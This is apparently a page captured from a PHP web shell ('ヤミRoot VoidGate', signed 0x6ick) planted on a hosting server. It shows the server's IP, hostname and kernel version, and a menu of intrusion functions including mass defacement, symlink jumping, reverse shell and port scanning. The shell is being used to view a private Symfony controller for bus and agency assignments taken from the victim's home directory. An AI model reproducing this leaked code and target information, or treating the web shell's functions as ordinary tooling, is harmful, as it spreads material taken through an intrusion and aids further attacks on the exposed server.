ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: AgencyBusController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Bus; use AppBundle\Entity\Staff; use AppBundle\Entity\Line; use AppBundle\Entity\Agency; class AgencyBusController extends FOSRestController { /** * Get the list of all buses assigned to an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agency * * @Rest\Get("/agencies/{agencyId}/buses") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Buses assigned to an agency", * resource=true, * description="Get the list of all buses assigned to an agency." * ) */ public function listAction(Agency $agency ) { return $agency->getBuses(); } /** * Get one buses which is assigned to an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @Rest\Get("/agencies/{agencyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses assigned to an agency", * resource=true, * description="Get one bus which is assigned to an agency.", * ) */ public function showAction(Agency $agency, Bus $bus ) { //TODO if( $bus->getCompany() != $agency->getCompany()){ return new JsonResponse(['error' => 'This bus and this agency are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if( !$agency->getBuses()->contains($bus) ){ return new JsonResponse(['error' => 'This bus is not used by this agency '], Response::HTTP_METHOD_NOT_ALLOWED); } return $bus; } /** * Assign a bus to a given agency.(the bus and the agency must already exist) * @param integer $agencyId The id of the agnecy * @param integer $busId The id of the bus to be assigned to the agency * @Rest\Post("/agencies/{agencyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "BUS_DETAILS"} * ) * @Doc\ApiDoc( * section="Buses assigned to an agency", * resource=true, * description="Assign a bus to a given agency.", * ) */ public function addAction(Agency $agency, Bus $bus) { //TODO if ($agency->getCompany() != $bus->getCompany()) { return new JsonResponse(['error' => 'This bus and this agency are not from the same company '], Response::HTTP_FORBIDDEN); } if($agency->getBuses()->contains($bus)){ return new JsonResponse('Duplicate couple Keys', Response::HTTP_CONFLICT); } $agency->addBus($bus); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $bus; } /** * @Rest\Put("/agencies/{agencyId}/buses/{busId}") */ public function updateAction() { //TODO return new JsonResponse(['error' => 'update forbiden. You can only create or delete'], Response::HTTP_FORBIDDEN); } /** * Delete the assignation of a bus to an agency. * The bus and the angency will remain, but the bus will no longer be assigned to the agency * @param integer $agencyId The id of the agnecy * @param integer $busId The id of the bus to be assigned to the agency * @Rest\Delete("/agencies/{agencyId}/buses/{busId}") * @Rest\View( * statusCode = Response::HTTP_OK * ) * @Doc\ApiDoc( * section="Buses assigned to an agency", * resource=true, * description="Delete the assignation of a bus to an agency.", * ) */ public function deleteAction(Agency $agency, Bus $bus) { //TODO if ($agency->getCompany() != $bus->getCompany()) { return new JsonResponse(['error' => 'This bus and this agency are not from the same company '], Response::HTTP_FORBIDDEN); } if($agency->getBuses()->contains($bus)){ $agency->removeBus($bus); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return new JsonResponse(''); }else{ return new JsonResponse(['error' => 'This bus is not used by this agency '], Response::HTTP_METHOD_NOT_ALLOWED); } } }
Coded With 💗 by
0x6ick